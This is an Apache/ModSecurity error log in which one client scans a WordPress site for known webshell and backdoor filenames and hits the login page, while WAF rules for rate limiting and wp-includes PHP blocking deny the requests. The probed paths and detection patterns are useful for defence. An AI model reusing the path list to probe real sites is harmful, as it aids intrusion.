[Wed Nov 19 06:53:13.033782 2025] [:error] [pid 6919:tid 6927] [client 48.210.86.54:9567] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aRz42UYFdN1s_9xJVUmV8AAAAQU"]
[Wed Nov 19 06:53:18.503962 2025] [:error] [pid 6644:tid 6666] [client 48.210.86.54:9537] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aRz43k0i6Rf788MB6sbJBAAAANQ"]
[Wed Nov 19 06:53:21.662852 2025] [:error] [pid 6556:tid 6622] [client 48.210.86.54:9769] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aRz44ZuL7hhgrmdM1mtssgAAAIQ"]
[Wed Nov 19 06:53:25.309096 2025] [proxy_fcgi:error] [pid 6556:tid 6632] [client 48.210.86.54:4899] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:25.432795 2025] [proxy_fcgi:error] [pid 6556:tid 6640] [client 48.210.86.54:4899] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:25.550696 2025] [proxy_fcgi:error] [pid 6556:tid 6625] [client 48.210.86.54:4899] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:25.667300 2025] [proxy_fcgi:error] [pid 6556:tid 6642] [client 48.210.86.54:4899] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:25.806167 2025] [:error] [pid 6556:tid 6638] [client 48.210.86.54:4899] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Cookie/alfa-rex.php"] [unique_id "aRz45ZuL7hhgrmdM1mtsuAAAAJQ"]
[Wed Nov 19 06:53:28.323069 2025] [proxy_fcgi:error] [pid 6556:tid 6633] [client 48.210.86.54:11090] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:28.439010 2025] [proxy_fcgi:error] [pid 6556:tid 6624] [client 48.210.86.54:11090] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:28.559089 2025] [proxy_fcgi:error] [pid 6556:tid 6627] [client 48.210.86.54:11090] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:28.686093 2025] [proxy_fcgi:error] [pid 6556:tid 6631] [client 48.210.86.54:11090] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:28.929140 2025] [proxy_fcgi:error] [pid 6556:tid 6635] [client 48.210.86.54:11090] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:53:29.050375 2025] [:error] [pid 6556:tid 6632] [client 48.210.86.54:11090] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/file.php"] [unique_id "aRz46ZuL7hhgrmdM1mtsxQAAAI4"]
[Wed Nov 19 06:53:30.954379 2025] [:error] [pid 6555:tid 6599] [client 48.210.86.54:4921] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/file.php"] [unique_id "aRz46kbVJm8eMsGMTCOASgAAAEg"]
[Wed Nov 19 06:53:32.496875 2025] [:error] [pid 6555:tid 6604] [client 48.210.86.54:2204] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/file.php"] [unique_id "aRz47EbVJm8eMsGMTCOAUgAAAE0"]
[Wed Nov 19 06:53:36.190076 2025] [:error] [pid 6919:tid 6938] [client 48.210.86.54:11031] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/file.php"] [unique_id "aRz48EYFdN1s_9xJVUmWIQAAARA"]
[Wed Nov 19 06:53:50.068716 2025] [:error] [pid 6554:tid 6563] [client 48.210.86.54:7351] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sim.php"] [unique_id "aRz4_t8rvPWLafJFqmVJsAAAAAQ"]
[Wed Nov 19 06:53:51.057312 2025] [:error] [pid 6556:tid 6625] [client 48.210.86.54:1966] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aRz4_5uL7hhgrmdM1mts7QAAAIc"]
[Wed Nov 19 06:54:04.355239 2025] [:error] [pid 6919:tid 6923] [client 48.210.86.54:5441] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aRz5DEYFdN1s_9xJVUmWdgAAAQE"]
[Wed Nov 19 06:54:08.385422 2025] [:error] [pid 6644:tid 6662] [client 48.210.86.54:10572] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/nf.php"] [unique_id "aRz5EE0i6Rf788MB6sbJgAAAANA"]
[Wed Nov 19 06:54:10.964146 2025] [:error] [pid 6644:tid 6651] [client 48.210.86.54:10594] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/nf.php"] [unique_id "aRz5Ek0i6Rf788MB6sbJhgAAAMU"]
[Wed Nov 19 06:54:13.087653 2025] [:error] [pid 6556:tid 6622] [client 48.210.86.54:2798] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/nf.php"] [unique_id "aRz5FZuL7hhgrmdM1mttBAAAAIQ"]
[Wed Nov 19 06:54:21.688051 2025] [:error] [pid 6554:tid 6564] [client 48.210.86.54:5905] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/nf.php"] [unique_id "aRz5Hd8rvPWLafJFqmVJ5AAAAAU"]
[Wed Nov 19 06:54:24.654196 2025] [:error] [pid 6555:tid 6591] [client 48.210.86.54:6667] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aRz5IEbVJm8eMsGMTCOAjAAAAEA"]
[Wed Nov 19 06:54:28.000588 2025] [:error] [pid 6644:tid 6668] [client 48.210.86.54:6454] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aRz5I00i6Rf788MB6sbJpwAAANY"]
[Wed Nov 19 06:54:31.207526 2025] [proxy_fcgi:error] [pid 6919:tid 6937] [client 48.210.86.54:1997] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:54:31.829646 2025] [proxy_fcgi:error] [pid 6919:tid 6933] [client 48.210.86.54:1997] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:54:31.949605 2025] [proxy_fcgi:error] [pid 6919:tid 6924] [client 48.210.86.54:1997] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:54:32.239783 2025] [proxy_fcgi:error] [pid 6919:tid 6942] [client 48.210.86.54:1997] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:54:32.451358 2025] [proxy_fcgi:error] [pid 6919:tid 6945] [client 48.210.86.54:1997] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:54:32.636909 2025] [:error] [pid 6919:tid 6929] [client 48.210.86.54:1997] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aRz5KEYFdN1s_9xJVUmWvQAAAQc"]
[Wed Nov 19 06:54:33.455383 2025] [:error] [pid 6919:tid 6944] [client 48.210.86.54:4211] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aRz5KUYFdN1s_9xJVUmWvwAAARY"]
[Wed Nov 19 06:54:36.674242 2025] [:error] [pid 6919:tid 6930] [client 48.210.86.54:3006] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aRz5LEYFdN1s_9xJVUmWxwAAAQg"]
[Wed Nov 19 06:54:39.574398 2025] [:error] [pid 6919:tid 6928] [client 48.210.86.54:6552] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/al.php"] [unique_id "aRz5L0YFdN1s_9xJVUmWywAAAQY"]
[Wed Nov 19 06:54:45.829389 2025] [:error] [pid 6644:tid 6665] [client 48.210.86.54:8350] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aRz5NU0i6Rf788MB6sbJxgAAANM"]
[Wed Nov 19 06:54:50.119004 2025] [:error] [pid 6556:tid 6618] [client 48.210.86.54:3505] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aRz5OpuL7hhgrmdM1mttOQAAAIA"]
[Wed Nov 19 06:54:51.657717 2025] [:error] [pid 6554:tid 6573] [client 48.210.86.54:5552] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aRz5O98rvPWLafJFqmVKDQAAAA0"]
[Wed Nov 19 06:54:53.821602 2025] [:error] [pid 6919:tid 6939] [client 48.210.86.54:5846] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aRz5PUYFdN1s_9xJVUmW2QAAARE"]
[Wed Nov 19 06:54:55.588663 2025] [:error] [pid 6644:tid 6658] [client 48.210.86.54:8054] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aRz5P00i6Rf788MB6sbJ7wAAAMw"]
[Wed Nov 19 06:54:57.929473 2025] [:error] [pid 6555:tid 6611] [client 48.210.86.54:10073] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aRz5QUbVJm8eMsGMTCOA5AAAAFQ"]
[Wed Nov 19 06:55:00.743795 2025] [:error] [pid 6556:tid 6623] [client 48.210.86.54:10027] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aRz5RJuL7hhgrmdM1mttSQAAAIU"]
[Wed Nov 19 06:55:04.900514 2025] [:error] [pid 6919:tid 6931] [client 48.210.86.54:4203] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aRz5SEYFdN1s_9xJVUmW8gAAAQk"]
[Wed Nov 19 06:55:10.075257 2025] [:error] [pid 6556:tid 6641] [client 48.210.86.54:7460] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/14.php"] [unique_id "aRz5TpuL7hhgrmdM1mttXgAAAJc"]
[Wed Nov 19 06:55:16.300815 2025] [:error] [pid 6919:tid 6931] [client 48.210.86.54:1079] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/14.php"] [unique_id "aRz5VEYFdN1s_9xJVUmXDgAAAQk"]
[Wed Nov 19 06:55:19.997925 2025] [:error] [pid 6919:tid 6944] [client 48.210.86.54:3513] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/14.php"] [unique_id "aRz5V0YFdN1s_9xJVUmXFgAAARY"]
[Wed Nov 19 06:55:21.530125 2025] [:error] [pid 6554:tid 6563] [client 48.210.86.54:7818] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aRz5Wd8rvPWLafJFqmVKMgAAAAQ"]
[Wed Nov 19 06:55:22.624783 2025] [:error] [pid 6556:tid 6637] [client 48.210.86.54:6805] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aRz5WpuL7hhgrmdM1mttcwAAAJM"]
[Wed Nov 19 06:55:24.107697 2025] [:error] [pid 6555:tid 6596] [client 48.210.86.54:6283] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aRz5XEbVJm8eMsGMTCOBGQAAAEU"]
[Wed Nov 19 06:55:25.579978 2025] [:error] [pid 6554:tid 6560] [client 48.210.86.54:7829] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-22.php"] [unique_id "aRz5Xd8rvPWLafJFqmVKOAAAAAE"]
[Wed Nov 19 06:55:33.925402 2025] [proxy_fcgi:error] [pid 6556:tid 6621] [client 48.210.86.54:6272] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:34.231099 2025] [proxy_fcgi:error] [pid 6556:tid 6622] [client 48.210.86.54:6272] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:34.352912 2025] [:error] [pid 6556:tid 6642] [client 48.210.86.54:6272] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/88.php"] [unique_id "aRz5ZpuL7hhgrmdM1mttgQAAAJg"]
[Wed Nov 19 06:55:36.668595 2025] [proxy_fcgi:error] [pid 6644:tid 6664] [client 48.210.86.54:7627] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:36.790423 2025] [:error] [pid 6644:tid 6669] [client 48.210.86.54:7627] [client 48.210.86.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 48.210.86.54, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRz5aE0i6Rf788MB6sbKTQAAANc"]
[Wed Nov 19 06:55:36.796478 2025] [proxy_fcgi:error] [pid 6644:tid 6669] [client 48.210.86.54:7627] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:36.913783 2025] [:error] [pid 6644:tid 6663] [client 48.210.86.54:7627] [client 48.210.86.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/secure.php"] [unique_id "aRz5aE0i6Rf788MB6sbKTgAAANE"]
[Wed Nov 19 06:55:38.980919 2025] [proxy_fcgi:error] [pid 6556:tid 6635] [client 48.210.86.54:7654] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:39.229357 2025] [proxy_fcgi:error] [pid 6556:tid 6638] [client 48.210.86.54:7654] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:39.348055 2025] [proxy_fcgi:error] [pid 6556:tid 6625] [client 48.210.86.54:7654] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:39.469367 2025] [:error] [pid 6556:tid 6620] [client 48.210.86.54:7654] [client 48.210.86.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 48.210.86.54, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aRz5a5uL7hhgrmdM1mttiAAAAII"]
[Wed Nov 19 06:55:39.774233 2025] [proxy_fcgi:error] [pid 6556:tid 6626] [client 48.210.86.54:7654] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:55:39.947207 2025] [:error] [pid 6556:tid 6621] [client 48.210.86.54:7654] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eror.php"] [unique_id "aRz5a5uL7hhgrmdM1mttjQAAAIM"]
[Wed Nov 19 06:55:42.953906 2025] [:error] [pid 6556:tid 6639] [client 48.210.86.54:4623] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eror.php"] [unique_id "aRz5bpuL7hhgrmdM1mttkgAAAJU"]
[Wed Nov 19 06:55:44.064944 2025] [:error] [pid 6554:tid 6574] [client 48.210.86.54:6396] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eror.php"] [unique_id "aRz5cN8rvPWLafJFqmVKVwAAAA4"]
[Wed Nov 19 06:55:46.061613 2025] [:error] [pid 6919:tid 6940] [client 48.210.86.54:4810] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eror.php"] [unique_id "aRz5ckYFdN1s_9xJVUmXQwAAARI"]
[Wed Nov 19 06:55:49.681749 2025] [:error] [pid 6555:tid 6605] [client 48.210.86.54:8677] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aRz5dUbVJm8eMsGMTCOBNgAAAE4"]
[Wed Nov 19 06:55:51.529256 2025] [:error] [pid 6644:tid 6670] [client 48.210.86.54:1408] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aRz5d00i6Rf788MB6sbKbgAAANg"]
[Wed Nov 19 06:55:52.392747 2025] [:error] [pid 6919:tid 6946] [client 48.210.86.54:4667] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aRz5eEYFdN1s_9xJVUmXaAAAARg"]
[Wed Nov 19 06:55:53.449023 2025] [:error] [pid 6555:tid 6599] [client 48.210.86.54:8679] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sym403.php"] [unique_id "aRz5eUbVJm8eMsGMTCOBUAAAAEg"]
[Wed Nov 19 06:55:54.614018 2025] [:error] [pid 6644:tid 6662] [client 48.210.86.54:8695] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/item.php"] [unique_id "aRz5ek0i6Rf788MB6sbKcgAAANA"]
